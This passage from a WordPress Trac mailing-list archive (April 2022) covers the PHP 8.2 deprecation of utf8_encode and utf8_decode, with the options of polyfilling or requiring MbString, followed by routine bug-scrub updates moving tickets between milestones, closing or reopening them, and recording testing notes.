`utf8_encode()` function a few times in the codebase: * 1 x `utf8_encode()` in `src/wp-admin/includes/export.php` * 2 x `utf8_encode()` in `src/wp-admin/includes/image.php` * 1 x `utf8_encode()` in `tests/phpunit/tests/kses/php` Aside from that the external dependency [https://github.com/JamesHeinrich/getID3 GetID3] also uses both these functions a number of times. A search of the plugin and theme directory shows more worrying results with a plenitude of matches: * [https://wpdirectory.net/search/01G16P0SWHB37G2965MP8R4ZYK 11247 matches in 3315 plugins], including 15 plugins with over a million installs. * [https://wpdirectory.net/search/01G16P2K39TQ538M9KRTVXT4CA 40 matches in 22 themes]. == Options So, what are the options we have ? In my opinion, especially seeing how these functions are used so often in plugins, there are only two realistic options: === 1. We could polyfill these functions. While some functions which may not be available are polyfilled by WP, this is generally only done to have access to ''new'' PHP functionality or to allow for using functions which require certain optional extensions to be enabled. As far as I know, no PHP native function has ever been polyfilled due to it being removed from PHP. **Pro**: Relatively simple solution and everything keeps working (deprecation notices will still show when running on PHP 8.x, though these could silenced). **Con**: As most uses of these functions are likely to be incorrect usage (especially in plugins), these "bugs" will remain and not be reviewed or addressed, undercutting the improvement PHP is trying to make. === 2. We could make the MbString (or the Iconv) extension a requirement At this moment, [https://core.trac.wordpress.org/browser/trunk/src/wp- admin/includes/class-wp-site-health.php#L876 both the MbString as well as the Iconv extension are recommended, but not required by WP]. A couple of MbString functions are also polyfilled in WP, so now might be a good time to make the MbString extension a requirement for WP. **Pro**: MbString being available will allow for fixing the deprecations in a forward-compatible manner. It will also allow for other code improvements to be made to improve WPs support for languages using non-latin based scripts. **Con**: A new requirement would be added to WP which should not be taken lightly. At the same time, it should be noted that MbString is generally enabled already anyway, so this will impact only a small percentage of users. ==== Why MbString instead of Iconv ? While both are included (though not enabled) by default with PHP, Iconv [https://www.php.net/manual/en/iconv.requirements.php requires the `libiconv` library], which may not be available, while MbString has [https://www.php.net/manual/en/mbstring.requirements.php no external dependencies]. MbString is [https://www.php.net/manual/en/mbstring.installation.php not enabled by default in PHP], but generally ''is'' enabled in practice. [https://www.php.net/manual/en/mbstring.installation.php Iconv is enabled by default] in PHP, but can be disabled. Having said that, MbString offers much more functionality than the limited functionality offered by Iconv and - as indicated by a number of functions being polyfilled - is already in use in WP. Still, it would be helpful if someone with access to the underlying statistics data collected by WP could add figures to this issue showing how often either extension is enabled on systems running WP. == Recommendation I'd strongly recommend option 2, but would like to hear the opinions of additional Core devs. == Action lists === General - [ ] Report the issue to GetID3 === Action list for option 1 - [ ] Polyfill the functions. - [ ] Review the uses of the functions in WP Core anyhow to see if those could/should be removed/the code using them should be refactored. - [ ] Add a note about the polyfills in a dev-note with a recommendation for plugin/theme authors to review their use of these functions anyhow. === Action list for option 2 - [ ] Make the MbString a requirement for installing WP/in the WP bootstrapping. - [ ] Change the MbString extension from optional to required in the Site Health component. - [ ] Remove the current MbString related polyfills from the `compat.php` file. - [ ] Review the uses of the functions in WP Core and replace with more appropriate alternatives. - [ ] Add a note about the deprecation in the PHP 8.2 dev-note with a recommendation for plugin/theme authors to review their use of these functions and noting that the MbString extension can be relied upon to be available (as of WP 6.1). -- Comment (by jrf): Replying to [comment:1 SergeyBiryukov]: > For option 2, I think we'd need to also check the required PHP modules during installation, to avoid fatal errors. As far as I can tell, marking a module as required in Site Health displays a warning on existing sites if the module is unavailable, but does not block the installation for new sites. Very good point! I always forget that those are two different lists of checks. I've added it to the action list. Might also be a good time to improve the code re-usability in that regards (have one master list of requirements and recommendations, which both the requirements checker on installation/load + the Site Health component draw from). -- Ticket URL: <https://core.trac.wordpress.org/ticket/55603#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 21:23:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 21:23:17 -0000 Subject: [wp-trac] [WordPress Trac] #37708: `wp_http_supports()` doesn't reflect what Requests can do In-Reply-To: <048.c3673848a328009d7b9e489cbc540cfc@wordpress.org> References: <048.c3673848a328009d7b9e489cbc540cfc@wordpress.org> Message-ID: <063.9905f92691a2096558d4d80458ad368e@wordpress.org> #37708: `wp_http_supports()` doesn't reflect what Requests can do --------------------------+----------------------------- Reporter: dd32 | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: Future Release Component: HTTP API | Version: 4.6 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+----------------------------- Changes (by costdev): * milestone: 6.0 => Future Release -- Ticket URL: <https://core.trac.wordpress.org/ticket/37708#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 21:30:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 21:30:19 -0000 Subject: [wp-trac] [WordPress Trac] #33885: meta_form performs a potentially expensive query In-Reply-To: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> References: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> Message-ID: <065.a90425430b3cfa32503f444e9e2f3898@wordpress.org> #33885: meta_form performs a potentially expensive query -------------------------------------+------------------------------------- Reporter: jorbin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.3.1 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration, needs-unit-tests needs-refresh | performance close | -------------------------------------+------------------------------------- Changes (by jorbin): * keywords: has-patch needs-testing needs-unit-tests needs-refresh => has- patch needs-testing needs-unit-tests needs-refresh close Comment: I think that the removal of the form in Gutenberg might actually be the best solution to this. If a site is large enough to be facing this issue, they should be on Gutenberg or be working the way towards it. I think we can close this as `wontfix` with the goal of deprecating `meta_form` -- Ticket URL: <https://core.trac.wordpress.org/ticket/33885#comment:99> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 21:52:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 21:52:28 -0000 Subject: [wp-trac] [WordPress Trac] #52028: Twenty Fifteen: H5 and H6 headings have the same font size In-Reply-To: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> References: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> Message-ID: <064.fa17d7182e5ef91ddea780196de4953a@wordpress.org> #52028: Twenty Fifteen: H5 and H6 headings have the same font size -------------------------------------------------+------------------------- Reporter: poena | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.1 Severity: normal | Resolution: worksforme Keywords: good-first-bug has-patch close has- | Focuses: css screenshots | -------------------------------------------------+------------------------- Changes (by stephencamilo): * keywords: good-first-bug has-patch => good-first-bug has-patch close has-screenshots * status: new => closed * resolution: => worksforme -- Ticket URL: <https://core.trac.wordpress.org/ticket/52028#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 22:55:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 22:55:05 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.13c76a3c9443c604e340656b9d44a006@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by peterwilsoncc): Given the need for [53222] after the breakage in [53220], I think commits on this ticket should cease after the WP 6.0 beta 3 release. A follow up ticket can be created for WP 6.1. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:41> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 23:07:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 23:07:53 -0000 Subject: [wp-trac] [WordPress Trac] #47968: Feed (with comments) Last-Modified header only considers latest comment date In-Reply-To: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> References: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> Message-ID: <064.cccce697f117e7ac66dab7c2665c7021@wordpress.org> #47968: Feed (with comments) Last-Modified header only considers latest comment date -------------------------------------------------+------------------------- Reporter: xiven | Owner: audrasjb Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Feeds | Version: 5.2.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Comment (by audrasjb): ah thanks! I'll fix this right now. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47968#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 23:11:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 23:11:26 -0000 Subject: [wp-trac] [WordPress Trac] #47968: Feed (with comments) Last-Modified header only considers latest comment date In-Reply-To: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> References: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> Message-ID: <064.b327dd6766320f7f0903e237d91aada5@wordpress.org> #47968: Feed (with comments) Last-Modified header only considers latest comment date -------------------------------------------------+------------------------- Reporter: xiven | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Feeds | Version: 5.2.2 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53241" 53241]: {{{ #!CommitTicketReference repository="" revision="53241" Build/Test Tools: Typo correction in rss2 unit tests. Follow-up to [53233]. Props SergeyBiryukov. Fixes #47968. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/47968#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 00:20:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 00:20:01 -0000 Subject: [wp-trac] [WordPress Trac] #55601: PHP Warning in wp-db.php on line 740 In-Reply-To: <053.da29e814d0a2a2a835ef6e6beeb6e7a5@wordpress.org> References: <053.da29e814d0a2a2a835ef6e6beeb6e7a5@wordpress.org> Message-ID: <068.29c9ee76e65b92a5ebf8f138a333c33c@wordpress.org> #55601: PHP Warning in wp-db.php on line 740 --------------------------+---------------------- Reporter: jimhill10 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Database | Version: Severity: trivial | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by peterwilsoncc): * status: new => closed * resolution: => invalid * milestone: Awaiting Review => Comment: Hello and welcome to trac! The variable name `wpdb::$actionscheduler_groups` isn't used by WordPress and suggests the error is coming from the Action Scheduler plugin. This is often installed behind the scenes by other plugins. There is [https://github.com/woocommerce/action-scheduler/issues/447 an issue on their GitHub repository] discussing the bug you are seeing. If you aren't using Action Scheduler directly, you may wish to ask in the [https://wordpress.org/support WordPress support forums] for assistance determining which of your plugins is using it. That's where you will find the best people able to assist. As the bug you are seeing is coming from a plugin, I've closed this ticket as `invalid`. In this case, that's trac's unfriendly term to indicate I've referred you to a plugin for support. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55601#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 00:52:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 00:52:44 -0000 Subject: [wp-trac] [WordPress Trac] #52028: Twenty Fifteen: H5 and H6 headings have the same font size In-Reply-To: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> References: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> Message-ID: <064.3145df5a1a689d4edb804308a8699c03@wordpress.org> #52028: Twenty Fifteen: H5 and H6 headings have the same font size -------------------------------------------------+------------------------- Reporter: poena | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: css screenshots | -------------------------------------------------+------------------------- Changes (by sabernhardt): * keywords: good-first-bug has-patch close has-screenshots => good-first- bug has-patch has-screenshots * status: closed => reopened * resolution: worksforme => Comment: Reopening ticket ([https://make.wordpress.org/core/handbook/contribute/trac/ "worksforme" is used when a bug cannot be reproduced]) -- Ticket URL: <https://core.trac.wordpress.org/ticket/52028#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 03:47:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 03:47:34 -0000 Subject: [wp-trac] [WordPress Trac] #42957: Usernames ending in a period generate invalid reset password links in certain email clients In-Reply-To: <053.6ac86000e6ab38aac81c6a705c869e8a@wordpress.org> References: <053.6ac86000e6ab38aac81c6a705c869e8a@wordpress.org> Message-ID: <068.01febf7a4e4adf94c18f2954b6915917@wordpress.org> #42957: Usernames ending in a period generate invalid reset password links in certain email clients -------------------------------------------------+------------------------- Reporter: paulcline | Owner: | hellofromTonya Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future | Release Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note dev-feedback | -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => Future Release Comment: Per the discussion in the bug scrub, I'm moving this to _Future Release_ as it still needs investigation on a possible alternative approach. As the investigation isn't already scheduled, let's keep this off the 6.1 milestone until it progresses towards a resolution. -- Ticket URL: <https://core.trac.wordpress.org/ticket/42957#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 03:50:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 03:50:54 -0000 Subject: [wp-trac] [WordPress Trac] #44511: Widgets generated by wp_register_sidebar_widget can not be add via customizer In-Reply-To: <050.66d9a84f5c1b24ccad528c9af8dcb674@wordpress.org> References: <050.66d9a84f5c1b24ccad528c9af8dcb674@wordpress.org> Message-ID: <065.88b8aecdb02d2d9436ea3bc65b06acf2@wordpress.org> #44511: Widgets generated by wp_register_sidebar_widget can not be add via customizer ---------------------------------------------+----------------------------- Reporter: bastho | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Customize | Version: 4.9.6 Severity: major | Resolution: Keywords: needs-testing reporter-feedback | Focuses: ---------------------------------------------+----------------------------- Changes (by costdev): * milestone: 6.0 => Future Release Comment: This ticket was discussed in the bug scrub. As there has been no progress in quite some time, I'm moving this ticket to ''Future Release''. -- Ticket URL: <https://core.trac.wordpress.org/ticket/44511#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 04:49:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 04:49:57 -0000 Subject: [wp-trac] [WordPress Trac] #55597: WordPress 6.0-beta2-53224 not creating .htaccess In-Reply-To: <053.44101b80c4a788fb0958a22e715dc141@wordpress.org> References: <053.44101b80c4a788fb0958a22e715dc141@wordpress.org> Message-ID: <068.72e15cdffc38e272ac162835bfa8c8ea@wordpress.org> #55597: WordPress 6.0-beta2-53224 not creating .htaccess -------------------------------------------------+------------------------- Reporter: campation | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Permalinks | Version: trunk Severity: critical | Resolution: Keywords: needs-testing needs-patch reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: needs-testing needs-patch => needs-testing needs-patch reporter-feedback * milestone: Awaiting Review => 6.0 Comment: Hi @campation and welcome to trac! I've done some testing (see below) and was unable to reproduce the error. Are you able to provide further information about your server's set up. - is the root directory of your WordPress install writable by the server? If you need to manually create a `wp-config.php` file during the installation step, then it probably is not. - does your web server use Nginx or Apache? - Anything else you know about the set up of your web server that might be relevant? I was discussing this with another WordPress contributor but they were unable to reproduce it either. I've moved this on to the 6.0 milestone for visibility but it would be great to hear back with the extra details of your environment. ---- == Testing notes == === Environment === OS: macOS 11.6.5 Development environment: MAMP 6.6 PHP: 7.4.21 WP Version: 6.0-beta2-53241 === Testing steps === 1. Set MAMP path to WP Beta 2. Create database for use in PhpMyAdmin 3. Visit localhost:8888 and follow installation proceedure 4. Confirm htacess file created ☑️ 5. Visit `localhost:8888/2022/04/22/hello-world/` to ensure rewrite works ☑️ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55597#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 05:13:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 05:13:11 -0000 Subject: [wp-trac] [WordPress Trac] #49532: Clicking "preview" multiple times on a post causes an identical autosave revision to be created and destroyed repeatedly In-Reply-To: <053.364a785792a87535222f5d05bbc9f131@wordpress.org> References: <053.364a785792a87535222f5d05bbc9f131@wordpress.org> Message-ID: <068.bcc62310f6f7459a571c37c98a86a7eb@wordpress.org> #49532: Clicking "preview" multiple times on a post causes an identical autosave revision to be created and destroyed repeatedly -------------------------------------------------+------------------------- Reporter: inwerpsel | Owner: | adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Revisions | Version: 5.4 Severity: normal | Resolution: Keywords: has-patch reporter-feedback needs- | Focuses: rest-api, testing | performance -------------------------------------------------+------------------------- Changes (by mikeschroder): * keywords: has-patch reporter-feedback => has-patch reporter-feedback needs-testing Comment: Hi @adamsilverstein ! We talked about [https://wordpress.slack.com/archives/C02RQBWTW/p1650603937653579 this ticket today] in a bug scrub. Do you want to land this for 6.0, so it makes it before RC, or do you think it's too late to merge at this point? -- Ticket URL: <https://core.trac.wordpress.org/ticket/49532#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 05:18:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 05:18:54 -0000 Subject: [wp-trac] [WordPress Trac] #54183: Tests: decide on how to handle deprecations in PHPUnit In-Reply-To: <047.74e04a3b482bb500f568b884e0df80d8@wordpress.org> References: <047.74e04a3b482bb500f568b884e0df80d8@wordpress.org> Message-ID: <062.68985f71e50c7d97c49cc27039731054@wordpress.org> #54183: Tests: decide on how to handle deprecations in PHPUnit -------------------------------------------------+------------------------- Reporter: jrf | Owner: | SergeyBiryukov Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.1 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: needs-dev-note php81 has-patch has- | Focuses: unit-tests | -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: This ticket was discussed during the recent bug scrub. As we haven't made any further progress on this ticket and focuses are currently elsewhere for this release cycle, I'm pre-emptively moving this to ''6.1'' to take it off the milestone ahead of RC1. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54183#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 05:20:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 05:20:38 -0000 Subject: [wp-trac] [WordPress Trac] #54726: Tests: Reduce usage of assertEquals for 6.0 In-Reply-To: <058.cc64855a57437ae0553df418f2cd90cb@wordpress.org> References: <058.cc64855a57437ae0553df418f2cd90cb@wordpress.org> Message-ID: <073.e92ca82bc8f1a371ba665cbc8e11e747@wordpress.org> #54726: Tests: Reduce usage of assertEquals for 6.0 ----------------------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-refresh | Focuses: ----------------------------------------------------+--------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests => has-patch has-unit-tests needs- refresh Comment: During a brief discussion in a bug scrub, it was noticed there are conflicts in the PR so I'm marking the ticket as such. It was decided to leave this on the milestone as it may be worked on during the code freeze in the production source code. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54726#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 05:28:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 05:28:02 -0000 Subject: [wp-trac] [WordPress Trac] #52294: Twenty Twenty-One: editor styles are broken in RTL In-Reply-To: <049.e27aeab219b5a440645dd47687b80f0d@wordpress.org> References: <049.e27aeab219b5a440645dd47687b80f0d@wordpress.org> Message-ID: <064.4274f946f79b7c329863a6bf6fffccf0@wordpress.org> #52294: Twenty Twenty-One: editor styles are broken in RTL -------------------------------------+--------------------- Reporter: yoavf | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: rtl -------------------------------------+--------------------- Comment (by mikeschroder): We looked at this ticket [https://wordpress.slack.com/archives/C02RQBWTW/p1650604735634539 during a bug scrub] today. I checked, and the PR's patch still applies. I reached out to #core-editor and #core-themes for feedback. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52294#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 05:29:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 05:29:57 -0000 Subject: [wp-trac] [WordPress Trac] #48703: Update compressed images for a clean precommit:image output In-Reply-To: <058.fad4ddff597a5feef9c62f2acbcb40f0@wordpress.org> References: <058.fad4ddff597a5feef9c62f2acbcb40f0@wordpress.org> Message-ID: <073.bef611142cc1aa82be239c91c798e5f8@wordpress.org> #48703: Update compressed images for a clean precommit:image output ------------------------------+----------------------------- Reporter: SergeyBiryukov | Owner: SergeyBiryukov Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: | Focuses: ------------------------------+----------------------------- Changes (by peterwilsoncc): * owner: whyisjake => SergeyBiryukov * status: reopened => assigned Comment: @SergeyBiryukov Assigning this to you as you mentioned you were getting some significant enough savings for some images that you thought it warranted a commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48703#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 05:38:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 05:38:12 -0000 Subject: [wp-trac] [WordPress Trac] #54937: EXIF image orientation issue In-Reply-To: <051.601c033790c2493645243d6725473d27@wordpress.org> References: <051.601c033790c2493645243d6725473d27@wordpress.org> Message-ID: <066.627979f5e1520abe4b9500abe6b75c75@wordpress.org> #54937: EXIF image orientation issue -------------------------------------+--------------------- Reporter: tbember | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: 5.3 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+--------------------- Comment (by mikeschroder): This came up in a [https://wordpress.slack.com/archives/C02RQBWTW/p1650605308136799 bug scrub for 6.0], and I brought it up for discussion / testing in #core- media. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54937#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 05:48:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 05:48:15 -0000 Subject: [wp-trac] [WordPress Trac] #54149: Audit `get_comment()` response checks. In-Reply-To: <051.debe8242b05ddc971652c73e8f045f7b@wordpress.org> References: <051.debe8242b05ddc971652c73e8f045f7b@wordpress.org> Message-ID: <066.ef20b4d5f7dc54228f4076114a430723@wordpress.org> #54149: Audit `get_comment()` response checks. ----------------------------+------------------------------- Reporter: costdev | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.1 Component: Comments | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: coding-standards ----------------------------+------------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: This ticket was discussed in the bug scrub. As we don't yet have consensus, the patch involves quite a few changes, and we're into the late stages of the 6.0 cycle, I'm moving this ticket to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54149#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 05:53:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 05:53:21 -0000 Subject: [wp-trac] [WordPress Trac] #54106: wp_nonce_field in get forms In-Reply-To: <053.d0006d117afd95120b7844956356f85a@wordpress.org> References: <053.d0006d117afd95120b7844956356f85a@wordpress.org> Message-ID: <068.e0361d69f856e586f54f16066da91d56@wordpress.org> #54106: wp_nonce_field in get forms -------------------------------------+------------------------------------- Reporter: msolution | Owner: pbearne Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-unit-tests needs- | Focuses: administration, patch needs-refresh | performance -------------------------------------+------------------------------------- Changes (by mikeschroder): * keywords: has-patch has-unit-tests => has-unit-tests needs-patch needs- refresh Comment: This ticket was checked into at a [https://wordpress.slack.com/archives/C02RQBWTW/p1650606681726289 bug scrub for 6.0] today. It looks like the PR has some changes requested, and needs a refresh against trunk. I'm going to update the keywords, and also move it out of the milestone for that reason. If it's ready before RC, feel free to move it back in for consideration. Thanks for all your work here! -- Ticket URL: <https://core.trac.wordpress.org/ticket/54106#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 05:53:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 05:53:41 -0000 Subject: [wp-trac] [WordPress Trac] #54106: wp_nonce_field in get forms In-Reply-To: <053.d0006d117afd95120b7844956356f85a@wordpress.org> References: <053.d0006d117afd95120b7844956356f85a@wordpress.org> Message-ID: <068.fdf040bb938303789b52df9099d70a61@wordpress.org> #54106: wp_nonce_field in get forms -------------------------------------+------------------------------------- Reporter: msolution | Owner: pbearne Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.1 Component: General | Version: Severity: normal | Resolution: Keywords: has-unit-tests needs- | Focuses: administration, patch needs-refresh | performance -------------------------------------+------------------------------------- Changes (by mikeschroder): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54106#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 06:00:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 06:00:48 -0000 Subject: [wp-trac] [WordPress Trac] #54996: PHP8.1 throw 'Deprecated' in WordPress 6.0-alpha-52650 In-Reply-To: <049.fa5c3015628e09754169cdc45c9cda39@wordpress.org> References: <049.fa5c3015628e09754169cdc45c9cda39@wordpress.org> Message-ID: <064.8a297f436bb41447d6da79b87ae16507@wordpress.org> #54996: PHP8.1 throw 'Deprecated' in WordPress 6.0-alpha-52650 -------------------------------------------------+------------------------- Reporter: haozi | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: I18N | Version: trunk Severity: trivial | Resolution: Keywords: php81 reporter-feedback needs-patch | Focuses: | administration -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch php81 reporter-feedback => php81 reporter-feedback needs-patch * milestone: 6.0 => 6.1 Comment: This ticket was discussed in the recent bug scrub. As this ticket has been awaiting `reporter-feedback` for a while now and it's late in the 6.0 cycle, I'm moving this to 6.1. Those attending the scrub also agreed that the current patch ultimately hides the error and this needs more investigation. Adding `needs-patch`. Props @mikeschroder -- Ticket URL: <https://core.trac.wordpress.org/ticket/54996#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 06:02:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 06:02:41 -0000 Subject: [wp-trac] [WordPress Trac] #52496: Improve MySQL 8.0 support In-Reply-To: <047.2fe9268536d6f5b8da47912088b3c6b0@wordpress.org> References: <047.2fe9268536d6f5b8da47912088b3c6b0@wordpress.org> Message-ID: <062.de24dd6fef39be1bb8933b30a0a3c862@wordpress.org> #52496: Improve MySQL 8.0 support --------------------------+--------------------- Reporter: jrf | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Database | Version: 5.4 Severity: normal | Resolution: Keywords: needs-patch | Focuses: --------------------------+--------------------- Changes (by mikeschroder): * milestone: 6.0 => 6.1 Comment: This ticket was discussed in [https://wordpress.slack.com/archives/C02RQBWTW/p1650606912921809 a 6.0 bug scrub]. Since it seems unlikely to land before RC on May 3, I'm going to move this out of the 6.0 milestone. It looks like some folks are already aware, but because I've seen some related issues chatted about in the #hosting-community channel, I'm going to bring up the ticket there as well. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52496#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 06:29:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 06:29:29 -0000 Subject: [wp-trac] [WordPress Trac] #33885: meta_form performs a potentially expensive query In-Reply-To: 